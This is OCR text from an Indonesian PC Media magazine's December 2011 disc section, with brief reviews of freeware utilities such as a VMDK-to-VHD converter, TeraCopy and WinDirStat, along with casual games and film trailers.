DUKUNGAN TEKNIS Program yang ada dalam DVD kami sebarkan persis seperti apa adanya. PC Media tidak memberikan technical support, training, registration number, atau password untuk program yang ada dalam DVD. Baca terlebih dahulu petunjuk dan lisensi pemakaian. Silakan menghubungi pembuatnya masing-masing untuk mendapat bantuan teknis.

BEBAS VIRUS DVD PC Media telah melewati pemeriksaan virus yang dapat diper caya. Mesin yang digunakan untuk mencetak DVD pun diawasi dengan saksama. Namun, Anda sangat disarankan untuk melakukan pengecekan kembali virus maupun spyware sebelum mulai menggunakannya.

12/2011

11/9/2011 10:50:14 AM

Fresh Software Full Version ON THE DISC

BACKUP FULL LENGTH AUDIO CD

VIRTUAL DRIVE CONVERTER

2Tware Convert Vhd 1.0

BUMP3R 1.0.93

[ FREE FOR PERSONAL AND COMMERCIAL USE ]

[ FREE FOR PERSONAL USE]

http://www.disk-virtual.com/ (3.430 KB)

www.metahandler.de/ (10.437 KB)

Jika ingin memindahkan file virtual disk VMware menjadi file Virtual Hard Disk (VHD) milik Microsoft, Anda dapat menggunakan 2Tware Convert Vhd. Tanpa susah payah, utility ini akan langsung mengonversi file VMDK menjadi VHD. Metode salin yang digunakan adalah sektor per sektor dari satu format ke format lainnya sehingga file sumbernya tidak mengalami perubahan sama sekali.

BUMP3R dapat digunakan untuk membuat backup dari CD audio menjadi satu file MP3 yang utuh. Bahkan, app ini juga dapat menyimpan Audio-Books dari beberapa CD menjadi satu file MP3 saja. Dari file MP3 tersebut, Anda dapat me-restore track mana pun dengan fitur export dan recording yang terintegrasi. Anda juga dapat menyematkan CD Artwork sehingga file dapat dikenali dengan mudah.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

ACCURATE PROCESS MONITORING

BLOCK PC FROM SHUTTING DOWN

Average CPU Cycles 2.3.10

Don’t Sleep 2.43

[ FREE FOR PERSONAL AND COMMERCIAL USE ]

[ FREE FOR PERSONAL USE ]

http://user.tninet.se/ (69 KB)

N/A (58 KB)

Meski Anda bisa membuka Task Manager Windows untuk melihat berapa daya CPU yang disedot oleh program, agak sulit untuk melihat berapa sebenarnya daya yang digunakan oleh program secara spesifik. Average CPU Cycles adalah app ringan yang dapat memonitor proses dari waktu ke waktu sehingga Anda punya gambaran yang akurat mengenai daya yang digunakan oleh app. Pilih app yang hendak dipantau untuk ditampilkan informasinya.

Sering PC shutd down, restart, atau hibernate dengan sendirinya, padahal Anda sedang mengerjakan suatu pekerjaaan atau sedang menonton film. Memang, Anda dapat mengatur setting untuk menghindari hal tersebut terjadi. Namun, app ini bisa menjadi solusi yang lebih mudah dan ampuh. App ini menyediakan akses yang mudah untuk memblokir shut down, hibernasi, log off, dan screen saver.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7 BURN IMAGES INTO DVD

RUN ANDROID APPS ON PC

BlueStacks (Alpha) [ FREE FOR PERSONAL USE ]

TOP

DVD Slideshow GUI 0.9.4.6 [ FREE FOR PERSONAL USE ]

www.bluestacks.com (122.671 KB)

download.videohelp.com/tin2tin/ (24.830 KB)

Meski masih dalam tahap alpha, BlueStacks sudah mampu menjalankan app Android secara full screen di Windows 7. Begitu menginstalnya, Anda dapat menjalankan sepuluh app yang telah pre-installed di dalamnya. Anda dapat menambahkan 26 app lagi, tetapi harus menyambungkan BlueStacks App Chanel dengan Facebook terlebih dahulu.

Jika memiliki koleksi foto keluarga yang cukup banyak, mungkin sudah saatnya Anda memindahkan foto-foto tersebut ke DVD. DVD Slideshow GUI menyediakan cara yang mudah dan cepat untuk membuat slide foto yang sempurna. Anda hanya perlu mengimpor gambar, mengekspornya menjadi image DVD (.iso) lalu membakarnya ke dalam keping DVD.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

12/2011

149-154_freshsoft_12_fadly edit nur 2.indd 149

149

11/9/2011 9:31:17 AM

ON THE DISC Fresh Software Full Version

CHECK UPDATE FOR YOUR SOFTWARE

FACEBOOK CHAT CLIENT

FileDoggy 1.1.6

fTalk 2.0.0.1443

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

www.filedoggy.com (986 KB)

www.ftalk.com (7.920 KB)

Apabila terlalu sibuk untuk mengecek versi terbaru dari software-software yang terinstal di PC, Anda dapat menyerahkan tugas tersebut pada FileDoggy. FileDoggy merupakan website yang menyediakan versi terbaru dari software-software gratis yang umum digunakan. App ini akan membandingkan versi software yang terinstal di komputer Anda dengan versi terbaru yang ada di server FileDoggy.

Dos Windows 98/ME 2000 NT XP Vista 7 COMBINE TWO FOLDER INTO ONE

App fTalk adalah chat client Facebook untuk PC, yang ringan dan mudah digunakan. Dengan app ini, Anda dapat berkomunikasi dengan teman Facebook tanpa perlu mengakses halaman web Facebook. Artinya, Anda bisa chatting di kantor tanpa terlihat sedang bermain Facebook. Yahoo! Messenger sebenarnya sudah menawarkan integrasi chatting dengan Facebook. Namun, app ini bisa menjadi pilihan karena desainnya yang menarik dan fungsinya yang sederhana.

Dos Windows 98/ME 2000 NT XP Vista 7 EXTRACT TEXT FROM IMAGE

FolderMerge 0.1

GTText 1.4.4.

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

http://bertyhell.users.sourceforge.net/ (173 KB)

code.google.com/p/gttext/ (5.884 KB)

Ini adalah tool sederhana yang mudah digunakan. Fungsi utama tool ini adalah mengombinasikan dua folder menjadi satu. Anda hanya perlu menentukan folder target dan folder sasaran serta memilih folder mana yang dipertahankan. Dengan demikian, Anda tidak perlu repot memindah-mindahkan file dan menghapus folder yang sudah kosong. Tool ini mengomparasi folder berdasarkan tanggal edit terakhir, tanggal akses terakhir, tanggal kreasi terakhir, serta ukuran file.

Bekerja di kantor yang masih mengirim dokumen dalam bentuk file gambar hasil scan? Tentu Anda akan kerepotan jika hendak mengambil poin-poin penting yang terdapat di dalamnya. Jangan khawatir karena aplikasi ini dapat membantu Anda untuk mengekstrak teks dari file gambar. Setelah menginstalnya, app ini akan mengenali file teks dalam gambar yang di-load ke dalamnya.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

HIDE FILE INSIDE JPEG

IPAD SIMULATOR FOR PC

Free File Camouflage 0.2c

iPadian

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

www.myportablesoftware.com (246 KB)

ipadian.weebly.com (61.686 KB)

Punya file rahasia tetapi bingung menyembunyikannya di mana? Sembunyikan saja di dalam gambar dengan format JPEG. Caranya mudah. Anda cukup buka aplikasi ini, pilih file yang dikehendaki, pilih gambar yang akan digunakan sebagai lokasi penyimpanan, lalu klik “Camouflage”! File Anda pun akan tersembunyi dengan aman. Untuk mengekstrak file yang tersembunyi, Anda masih perlu menggunakan app ini.

App berbasiskan Adobe Air ini bukanlah emulator iPad, melainkan app yang menyimulasikan pengalaman menggunakan iPad di PC Anda. App ini hadir dengan app custom yang memiliki icon-icon khas iOS. Tampilannya pun hampir menyerupai interface iPad. Anda dapat menjalankan sejumlah aplikasi jejaring sosial yang disertakan di dalamnya, game, dan sebagainya.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

150

149-154_freshsoft_12_fadly edit nur 2.indd 150

12/2011

11/9/2011 9:31:20 AM

Fresh Software Full Version ON THE DISC

INSERT ANNOTATION TO IMAGE FILE

MULTI-ACCOUNT IM CLIENT

iPhotoDraw 1.0 Build 4305

Miranda IM 0.9.33

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

http://www.iphotodraw.com/ (5.445 KB)

www.miranda-im.org (3.242 KB)

Foto memang bermakna seribu kata. Namun, terkadang foto biasa saja tidak cukup untuk mengutarakan maksud yang hendak disampaikan. Anda mungkin ingin menambah anotasi ke dalam foto demi memberikan informasi yang lebih kaya dan akurat. Dengan tool ini, Anda dapat menambahkan teks deskripsi, balon teks, dimensi, detail pada gambar, serta objek anotasi lainnya.

Sama seperti Pidgin, Miranda IM mengombinasikan berbagai account instant messaging ke dalam satu aplikasi. Dengan menggunakan Miranda, Anda dapat login ke account AIM, Yahoo!, ICQ, MSN, dan IRC. Jika semua account Anda online berbarengan, gambar profil dan status setiap icon akan tampil senada sehingga Anda tidak perlu repot-repot menggantinya satu per satu. Sebagai freeware, app ini kehilangan fitur-fitur tambahan yang dimiliki program IM resmi.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

INTRA-NETWORK COMMUNICATION

NETWORK MONITORING TOOL

LAN Messenger 1.2.0

NetworkTrafficView 1.10

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

N/A (5.951 KB)

www.nirsoft.net (106 KB)

LAN Messenger adalah app messaging peer-to-peer (P2P) yang dapat digunakan untuk berkomunikasi dalam jaringan lokal. App ini tidak membutuhkan server untuk bisa berfungsi. Sejumlah fitur berguna tersedia di dalamnya, seperti notifikasi alarm, messaging secara personal maupun grup, dan kirim-terima file. Pesan yang dikirim dan diterima dienkripsi sehingga aman dari penyadapan. Riwayat pesan juga dapat disimpan.

Dos Windows 98/ME 2000 NT XP Vista 7 MIND MAPPING MANAGEMENT TOOL

NetworkTrafficView adalah tool untuk memonitor jaringan Anda. Ia mampu menangkap paket yang melewati network adapter PC kemudian menampilkan statistik umum mengenai traffic jaringan Anda. Paket tersebut dikelompokkan berdasarkan Ethernet Type, IP Protocol, Source/Destination Addresss, dan port Source/Destination. Untuk setiap poin statistik, data yang ditampilkan cukup lengkap, mulai ukuran total paket hingga kecepatan data maksimum.

Dos Windows 98/ME 2000 NT XP Vista 7 ENHANCE WINDOWS “OPEN WITH” FUNCTION

Mind On Track 1.1.0.104

OpenWith 0.95.0.0

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

www.mindontrack.com (47.570.745 KB)

extensions.frieger.com (418 KB)

Jika Anda adalah seorang mind mapper, Anda mungkin menemukan sulitnya menempatkan mind map dan to-do list ke dalam satu halaman. Mind On Track mengintegrasikan keduanya ke dalam satu tool project management. Setiap Anda membuat satu node baru, sebuah item to-do list juga akan dibuat. Dari sana, Anda dapat menjadwalkan tanggal jatuh tempo dan opsi-opsi lainnya yang berkaitan.

Menu Open With yang terintegrasi di dalam Windows sudah bekerja dengan cukup baik. Namun, ada kalanya ia tidak mampu menampilkan program yang sesuai untuk file asing. App ini memodifikasi menu Open With pada Windows sehingga mampu merekomendasikan app untuk membuka file tersebut. Jika app yang direkomendasikan belum terinstal di PC Anda, ia akan membuka halaman web dari app tersebut di browser web.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

12/2011

149-154_freshsoft_12_fadly edit nur 2.indd 151

151

11/9/2011 9:31:22 AM

ON THE DISC Fresh Software Full Version

DESKTOP MODIFICATION

FAMILY RELATION COUNTER

Rainmeter 2.1.0 Rev 959

Simple Relationship Calculator

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

http://www.rainlendar.net (2.045 KB)

www.genscriber.com (2.148 KB)

Rainmeter adalah resource meter yang dapat dikostumisasi sesuka hati oleh penggunanya. Dalam resource meter tersebut, berbagai data performa pada PC Anda ditampilkan di desktop. Data ditampilkan dalam bentuk bar, histogram, frame bitmap, atau sekadar angka-angka. Dalam versi terbaru ini, berbagai bug yang mengganggu performa telah diperbaiki, seperti bug StartHidden, crash yang diakibatkan oleh coding tertentu, serta penambahan sejumlah bahasa baru.

Terkadang, penting untuk mengetahui nama hubungan persaudaraan antara Anda dengan saudara jauh. Namun, mengirangira hubungan antara dua orang bisa sangat membingungkan, terutama jika Anda berasal dari keluarga besar. Jika Anda adalah tipe orang yang hanya bisa mengingat sepupu pertama, Anda sebaiknya mencoba aplikasi ini. Anda hanya perlu memasukkan posisi Anda di silsilah keluarga kemudian posisi saudara Anda lalu aplikasi ini akan menampilkan jawabannya.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

CONTEXT MENU CUSTOMIZATOR

PHOTO ORGANIZER

Right Click Enhancer 2.2.1

Snaps 0.3.5.0

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

rbsoft.weebly.com (1.703 KB)

www.twodoto.com (7.536 KB)

Menu konteks atau disebut juga menu pop-up, mempermudah akses fungsi pada sistem operasi tanpa terkecuali sistem operasi Windows. Right Click Enhancer berisi lima tool gratis untuk mengustomisasi menu konteks. My Computer Manager menambahkan fungsi nondeleting file atau folder ke dalam My Computer dan Control Panel, sementara Right Click Tweaker membuat Anda dapat menambahkan hingga sepuluh entri baru ke menu konteks.

Snaps adalah aplikasi yang dapat membantu Anda dalam mengatur dan mengorganisasi koleksi foto dan video serta metadatanya. Bisa dikatakan, Snaps menyerupai aplikasi iPhoto milik Mac OS X. Fitur iPhoto yang juga dimiliki Snaps adalah peta terintegrasi. Peta tersebut memanfaatkan metadata lokasi yang tersemat pada foto untuk menampilkannya pada peta.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

PROTECT FLASH DRIVE DATA

TRANSCRIBE VOICE TO TEXT

Rohos Mini Drive 1.9

Speak-A-Message 7.4

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

N/A (3.835 KB)

www.inventivio.com (10.405 KB)

Flashdisk adalah media penyimpanan yang mudah untuk dibawabawa. Karena ukurannya yang mungil, flashdisk yang berisi data sensitif bisa dengan mudah terselip dan hilang. Untuk mengantisipasi kemungkinan terburuk tersebut, ada baiknya Anda melindungi data di dalamnya dengan Rohos Mini Drive. App ini akan membuat partisi terproteksi pada flashdisk Anda. Setelah partisi dibuat, Anda dapat menyimpan data rahasia yang tidak bisa diakses oleh orang lain.

Dengan Speak-A-Message, Anda dapat mengefisienkan waktu ketika mengirim e-mail dengan merekam pesan suara dan mentranskripsikannya secara otomatis menjadi teks. Si penerima akan mendengar suara Anda sekaligus membaca transkripnya meskipun mereka tidak menginstal app ini di komputernya. Fungsi dasar Speak-A-Message adalah merekam dan memutar ulang pesan suara. Namun, ia memiliki sejumlah fitur tambahan, seperti mengirim pesan suara dalam foto dan menambahkan efek suara.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

152

149-154_freshsoft_12_fadly edit nur 2.indd 152

12/2011

11/9/2011 9:31:23 AM

Fresh Software Full Version ON THE DISC

PORN SITES BLOCKER

LAN CHAT CLIENT

Stop P-O-R-N 6.5

TCOne Netsend Classic1.1

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

N/A (4.414 KB)

www.tcone.bplaced.com/ (559 KB)

Cegah segala konten pornografi agar tidak mengotori browser Internet Anda. Stop PO-R-N memiliki database situs-situs porno untuk diblokir. Anda bisa pula menambahkan database sendiri, misalnya untuk situs lokal yang tidak dikenali oleh app ini. Dengan fitur blokirnya yang mumpuni tersebut, Anda bisa memercayakan app ini untuk melindungi anak Anda dari konten-konten berbahaya. App ini dilindungi oleh password sehingga setting-an blokir yang telah Anda buat tidak bisa diakses oleh orang lain.

Jika Anda mencari cara untuk bisa berkomunikasi antar-PC di rumah atau kantor yang tidak terhubung dengan internet, app ini bisa Anda jadikan pilihan. Untuk berkomunikasi dengan PC lain, Anda hanya perlu memasukkan alamat IP komputer yang dituju. Alamat IP tersebut dapat pula disimpan dan diberi nama sehingga Anda tidak perlu memasukkannya secara manual jika suatu saat ingin menghubungi PC yang sama.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

PC STRESS TEST

CHAT CONFERENCE APP

StressMyPC 1.05

TeamTalk 4.2.0.1479

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

http://www.softwareok.com/ (15 KB)

www.bearware.dk (9.611 KB)

Ingin mengetahui seberapa lama baterai notebook Anda bertahan dalam sekali pengisian? Anda dapat menggunakan StressMyPC. Tool ini tidak hanya didesain untuk mengetes daya tahan baterai, tetapi juga daya usage CPU PC Anda. Ada empat jenis “stress test” yang bisa Anda pilih, yaitu StressMyPC, Paint-Stress, Aggressive CPU-Stress, dan HD-Stress.

TeamTalk memungkinkan Anda berkomunikasi dengan teman dengan menggunakan jaringan lokal maupun internet. Tidak seperti app sejenis, TeamTalk tidak membatasi jumlah peserta conference. Tentunya, ini membutuhkan bandwidth yang lebih besar. Namun, TeamTalk menawarkan berbagai opsi konfigurasi sehingga Anda dapat memilih setting-an kualitas yang tidak membebani koneksi.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

FREEZE PROGRAM KILLER

FILE-COPYING UTILITY

Task ForceQuit Pro 1.0.0.0

TeraCopy 2.2

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

www.softorino.com (831 KB)

www.codesector.com (2.671 KB)

Penyakit Windows yang umum ditemui oleh penggunanya adalah program yang freeze atau ngehang. Biasanya, jika berhadapan dengan program hang, Anda cukup membuka Task Manager dan mematikan proses program yang bermasalah tersebut. Task ForceQuit Pro menawarkan cara yang sama, tetapi lebih mudah diakses. Begitu ada program yang hang, pilih program tersebut dari dafar kemudian klik “Force Quit”.

TeraCopy dari Code Sector adalah utility untuk copy file yang menawarkan fungsi dan kecepatan yang lebih andal daripada fungsi milik Windows sendiri. Ia tidak hanya mampu meng-copy satu atau beberapa file sekaligus ke folder tujuan, tetapi juga melewatkan file rusak, berbeda dengan fungsi copy Windows yang akan terhenti begitu ada file yang tidak dapat di-copy. File yang gagal di-copy tersebut akan di-log di akhir proses sehingga Anda tahu mana file yang belum ter-copy.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

12/2011

149-154_freshsoft_12_fadly edit nur 2.indd 153

153

11/9/2011 9:31:25 AM

ON THE DISC Fresh Software Full Version

WINDOWS SCREEN GRABBER

DISK USAGE STATISTIC

Ticno Screenshoter 1.0.2.1

WinDirStat 1.1.2

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

www.ticno.com/ (632 KB)

www.windirstat.info (641 KB)

Tinco Screenshooter dapat membantu Anda untuk mengambil screenshot tampilan Windows dengan cara yang mudah. Tidak seperti app sejenis yang memiliki setting-an rumit, interface Ticno sederhana dan tidak membingungkan. Ada tiga pilihan metode screenshot yang bisa Anda pilih, yaitu Window, Desktop, atau Custom, sementara format output-nya terdiri atas png, bmp, dan jpeg. Anda juga bisa menyematkan tanggal. Sayangnya, Anda tidak bisa mengubah setting-an resolusi file output.

WinDirStat dapat digunakan untuk melihat statistik usage drive Anda, entah itu drive internal maupun eksternal. Ia juga berperanan ganda sebagai tool cleanup. Begitu dinyalakan, ia akan menampilkan semua direktori dari drive yang Anda pilih dalam tiga bagian, yakni daftar direktori, treemap, dan ekstensi. Pada tampilan treemap, setiap file diwakili dengan warna dan ukuran tertentu.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

AUTORUN MALWARE CLEANER

BOOTABLE REMOVABLE DRIVE CREATOR

USB Protector 2.0

WinUSB Maker 1.3

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

http://ajeeshms.web.officelive.com (2.350KB)

www.joshcellsoftwares.com (2.866 KB)

Khawatir akan virus autorun yang kerap terdeteksi ketika Anda mencolokkan flash drive ke komputer? Gunakan tool ringan ini. USB Protector 2.0 menawarkan mekanisme real-time scanning sehingga malware langsung dideteksi begitu Anda mencolokkan flash drive ke komputer. Ia mampu mendeteksi malware dan menghapusnya secara otomatis serta menyediakan opsi full scan untuk menemukan file yang tersembunyi.

WinUSB Maker adalah tool untuk membuat drive removable menjadi bootable. Ia akan membuat boot sector ke dalam drive USB agar setara dengan hard drive internal. Selain flash drive, tool ini juga mendukung hard drive eksternal dengan kapasitas maksimal yang dapat ditangani mencapai 1 TB. Ukuran filenya kecil, interface-nya sederhana, dan ia tidak perlu diinstal terlebih dahulu untuk bisa digunakan.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

PC VOLUME CONTROLLER

PORN BLOCKER

Volume Concierge 1.0.0.0

XBEESOFT P*rn Cleaner 1.21

[ FREE FOR PERSONAL USE ]

[ FREE FOR PERSONAL USE ]

N/A (1.562 KB)

http://xbeesoft.cz.cc/ (1.676 KB)

PC Volume Controller adalah tool ringan yang dapat digunakan untuk mengatur volume suara PC Anda secara otomatis. Anda dapat mengatur agar volume suara PC tidak melebihi batas tertentu pada waktu tertentu. Sebagai contoh, untuk pagi hari sejak pukul 7.00 hingga 9.00, volume diatur agar tidak terlalu kencang, sedangkan saat jam makan siang, volume bisa dimaksimalkan agar Anda tidak mengantuk.

App ini dapat membantu Anda dalam melindungi anak-anak dari konten tidak layak yang dapat ditemukan dengan mudah di internet. Fitur yang disediakan app ini antara lain scanner situs porno, web protector, dan clipboard protector yang dapat menangkal konten berbahaya agar tidak bisa diakses oleh anak-anak. Interface-nya yang sederhana dan komprehensif dengan sendirinya langsung menjelaskan fitur-fitur yang bisa Anda gunakan.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

154

149-154_freshsoft_12_fadly edit nur 2.indd 154

12/2011

11/9/2011 9:31:26 AM

Hottest Games Full Version ON THE DISC

BREAKOUT

RACING ACTION

Action Ball 2

Deadly Race

www.myplaycity.com (13.935 KB)

www.gamegecko.com (46.673 KB)

Mencari game bergenre Breakout yang mampu menghibur Anda? Coba mainkan Action Ball 2. Pasalnya, game ini tidak hanya menampilkan fitur-fitur utama game Breakout orisinal, tetapi juga fitur yang semakin disempurnakan. Selain tampilan visual 3D-nya yang memanjakan mata serta musik dan efek suara yang digarap serius, game dengan total 80 level ini menawarkan pad yang bisa di-upgrade dengan 30 macam bonus.

Pada masa depan, krisis energi memicu terjadinya Perang Dunia III. Kota-kota yang hancur akibat peperangan ditinggalkan oleh penduduknya. Para penantang maut dari berbagai penjuru dunia memanfaatkan jalan raya yang sepi sebagai ajang balapan. Namun, Deadly Race bukanlah balapan biasa. Setiap mobil dilengkapi dengan persenjataan mutakhir untuk saling menghabisi. Pemenangnya adalah pembalap yang berhasil mencapai garis finish dengan selamat dan utuh.

Dos Windows 98/ME 2000 NT XP Vista 7

Windows 95 98/ME 2000 NT XP Vista 7

PLATFORM

HIDDEN OBJECT

Bomber Mario

Hollywood, The Director’s Cut

www.gametop.com (8.033 KB)

www.hdo-adventure.com (50.113 KB)

Dalam game ini, karakterkarakter dari Super Mario Bros dipadukan dengan gameplay Bomberman. Anda yang sudah pernah memainkan game Bomberman tentu sudah paham dengan gameplay-nya. Tugas Anda adalah menghancurkan semua musuh dengan menjebak dan memojokkan mereka dengan bom. Namun, Anda harus berhati-hati. Jika Anda sendiri yang terjebak atau menyenggol musuh, Anda harus mengulang dari awal.

Dalam game ini, Anda berperan sebagai seorang assistant art director di salah satu studio film paling legendaris di Hollywood. Tugas Anda adalah merekam adegan untuk sebuah film dengan budget yang cukup besar. Namun, impian Anda sebenarnya adalah menjadi sutradara. Demi mencapai impian tersebut, Anda harus membuktikan diri. Caranya, temukan properti, bersihkan lokasi shooting dari benda-benda menggangu dan lainnya.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

PUZZLE

MATCH THREE PUZZLE

Brickshooter Egypt

Julia’s Quest: United Kingdom

www.brickshooter.com (14.565 KB)

www.bigfishgames.com (96.484 KB)

Game Brickshooter Egypt mengajak Anda menelusuri misteri piramida dari zaman Mesir Kuno. Sibak tekateki dari huruf hieroglif yang akan membantu Anda dalam mengembalikan kejayaan piramida. Terdapat lebih dari 60 level dalam game ini. Setiap level menyajikan teka-teki yang cukup menguras otak. Gameplay-nya sendiri cukup sederhana. Anda hanya perlu mencocokkan gambar atau lambang dengan tiga atau lebih hieroglif.

Mari bertualang mengelilingi negara Inggris bersama Julia dalam game bergenre Match Three ini. Dikisahkan, Julia menemukan buku harian kakeknya yang menyimpan misteri. Tugas Anda adalah memandu Julia untuk menemukan petunjuk dalam memecahkan misteri tersebut. Latar dalam game ini adalah kota-kota di Inggris dan tempat kunjungan wisata lainnya yang cukup terkenal. Mampukah Anda memecahkan pesan rahasia yang ditinggalkan kakek Julia?

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

12/2011

155-156_freegames_12 fadly edit nur.indd 155

155

11/9/2011 9:40:29 AM

ON THE DISC Hottest Games Full Version

TOWER DEFENSE

ACTION SHOOTER

Milky Bear: Fish Patrol

Pacific Liberation Force

www.gametop.com (17.739 KB)

www.team6shop.com (128.965 KB)

Milky Bear adalah seekor beruang yang sangat gemar memakan ikan. Namun, tidak seperti beruang pada umumnya, ia lebih suka mengumpulkan ikan hasil tangkapannya terlebih dahulu. Akibatnya, ikan-ikan teresebut menjadi incaran gerombolan kucing liar. Tugas Anda adalah membantu melindungi ikan Milky Bear dengan mengusir kucing yang mencoba mencuri ikan. Anda akan dibantu oleh Snowy si beruang cokelat dan seekor anjing penjaga.

Pacific Liberation Force adalah game aksi yang melibatkan peperangan dengan menggunakan helikopter di wilayah Pasifik. Dalam game ini, misi Anda adalah membasmi gembong penjahat bernama El Presidente dan pasukannya. Musuh yang akan Anda hadapi cukup beragam, mulai tentara biasa, tank, pesawat jet, hingga kapal induk. Di sela-sela misi, ada misi untuk melindungi atau menghancurkan objek tertentu.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

RACING

STRATEGY

Motoracing

Sudden Strike: Iwojima

www.motorracinggames.net (24.705 KB)

www.gametop.com (180.394 KB)

Meski gameplay-nya sederhana, kualitas grafik Motoracing patut diacungi jempol. Untuk ukuran game gratisan, detail lingkungan 3D-nya cukup memukau. Anda dapat memilih satu dari beberapa jenis motor, mulai dirt bike, touring, hingga dual-purpose bike, untuk digunakan dalam balapan. Anda bisa menendang musuh Anda untuk memperlambat pergerakan mereka. Namun, hati-hati, bisa-bisa malah Anda yang tersungkur masuk ke semak-semak.

Di kala fajar menjelang pada 19 Februari 1945, tentara Angkatan Laut Amerika Serikat memulai serangan ke Pulau Iwojima, pulau yang bernilai strategis dalam menentukan kemenangan AS dalam Perang Pasifik. Suasana terasa mencekam saat tentara Jepang bertahan melawan serangan brutal tersebut. Dalam game strategi ini, Anda diajak bergabung bersama marinir AS untuk merebut Pulau Iwojima dari tentara Jepang.

Dos Windows 98/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

RACING

ACTION

Need for Extreme 3D

Theseus - Return of the Hero

www.myplaycity.com (18.391 KB)

www.sigma-team.net (29.858 KB)

Sekilas, game ini terlihat terinspirasi berat oleh game Road Fighter, game balapan asal console jadul Nintendo Entertainment System. Namun, perbedaan mencolok akan segera terasa begitu Anda memainkannya. Pasalnya, tampilan game ini dibuat dalam format 3D. Meski demikian, gameplay Need For Extreme 3D tidak berbeda jauh dengan Road Fighter. Misi dalam game ini sederhana, yakni menjadi juara pada setiap balapan.

Keselamatan manusia terancam oleh invasi yang dilakukan pasukan monster. Meski barisan pertahanan planet bumi telah berupaya sekuat tenaga, para makhluk haus darah itu terus menguasai wilayah-wilayah baru. Theseus, tokoh utama dalam game ini, mendarat di sebuah kota kecil di wilayah Eropa dalam upaya menyelamatkan peradaban dunia. Dalam game ini, Anda ditantang untuk membantu Theseus dalam menuntaskan misinya.

Dos Windows 9x/ME 2000 NT XP Vista 7

Dos Windows 98/ME 2000 NT XP Vista 7

156

155-156_freegames_12 fadly edit nur.indd 156

12/2011

11/9/2011 9:40:35 AM

New Movie Trailers ON THE DISC

ACTION | ADVENTURE | THRILLER

ACTION | HORROR | SCI-FI

M:I - Ghost Protocol

The Darkest Hour

Director : Brad Bird Casting : Tom Cruise, Jeremy Renner, and Paula Patton Distributor : Paramount Pictures

Director : Chris Gorak Casting : Emile Hirsch, Olivia Thirlby, and Max Minghella Distributor : 20th Century Fox

Mission: Impossible – Ghost Protocol adalah film Mission: Impossible keempat di mana tokoh sentralnya, Ethan Hunt, masih diperankan oleh Tom Cruise. Film yang menjadi debut sutradara Brad Bird dalam mengarahkan film live-action ini mengisahkan IMF yang harus ditutup karena dikaitkan dengan pengeboman Kremlin, benteng bersejarah di pusat Moskwa, Rusia. Kejadian ini memaksa Hunt untuk membentuk tim baru demi memulihkan nama baik organisasinya.

Berbeda dengan film hollywood bertema alien lainnya, The Darkest Hour mengambil setting di Rusia, bukan Amerika Serikat walaupun diceritakan juga bahwa para alien menginvasi negaranegara lain di seluruh dunia. Para tokoh utama dalam film ini agak kesulitan melakukan serangan balik kepada para alien. Pasalnya, para alien yang mempunyai rencana jahat untuk menguras habis sumber energi di bumi tersebut tidak memiliki wujud fisik.

ACTION | ADVENTURE | CRIME

COMEDY

Sherlock Holmes: AGOS

The Sitter

Director : Guy Ritchie Casting : Robert Downey, Jr., Jude Law, and Jared Harris Distributor : Warner Bros. Pictures

Director : David Gordon Green Casting : Jonah Hill, Ari Graynor, and Sam Rockwell Distributor : 20th Century Fox

Disutradarai oleh Guy Ritchie, Sherlock Holmes: A Game of Shadows adalah film bergenre misteri yang diangkat dari novel karangan Sir Arthur Conan Doyle. Robert Downey, Jr. berperan sebagai Sherlock Holmes, tokoh sentral dalam film ini, yang ditemani oleh Jude Law sebagai Dr. John Watson. Bersama-sama, Holmes dan Watson berjuang untuk menaklukkan rival mereka, Professor Moriarty.

